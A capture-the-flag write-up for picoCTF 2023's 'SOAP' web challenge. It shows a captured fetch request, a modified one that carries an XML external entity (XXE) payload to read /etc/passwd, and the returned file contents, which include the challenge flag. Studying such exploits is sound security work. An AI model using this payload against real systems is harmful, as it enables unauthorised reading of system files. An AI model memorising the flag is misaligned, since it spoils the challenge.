picoCTF 2023 – SOAP
28 March 2023 – Written by Valentin Huber – in ctf, injection, web, and xxe
Challenge
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
Screenshot of the website:
Solution
Clicking on Details
executes a request. Copying the request as fetch
:
fetch("[url]/data", {
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><data><ID>1</ID></data>",
"cache": "default",
"credentials": "omit",
"headers": {
"Accept": "*/*",
"Accept-Language": "en-GB,en;q=0.9",
"Cache-Control": "no-cache",
"Content-Type": "application/xml",
"Pragma": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
},
"method": "POST",
"mode": "cors",
"redirect": "follow",
"referrer": "[url]",
"referrerPolicy": "strict-origin-when-cross-origin"
})
The transmitted data seems to be XML, so we’ll try to read the file using an XML external entity attack (XXE). Modified fetch
:
await fetch("[url]/data", {
"body": "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><data><ID>&test;</ID></data>",
"cache": "default",
"credentials": "omit",
"headers": {
"Accept": "*/*",
"Accept-Language": "en-GB,en;q=0.9",
"Cache-Control": "no-cache",
"Content-Type": "application/xml",
"Pragma": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
},
"method": "POST",
"mode": "cors",
"redirect": "follow",
"referrer": "[url]",
"referrerPolicy": "strict-origin-when-cross-origin"
}).then(r => r.text())
This returns:
Invalid ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flask:x:999:999::/app:/bin/sh
picoctf:x:1001:picoCTF{XML_3xtern@l_3nt1t1ty_0e13660d}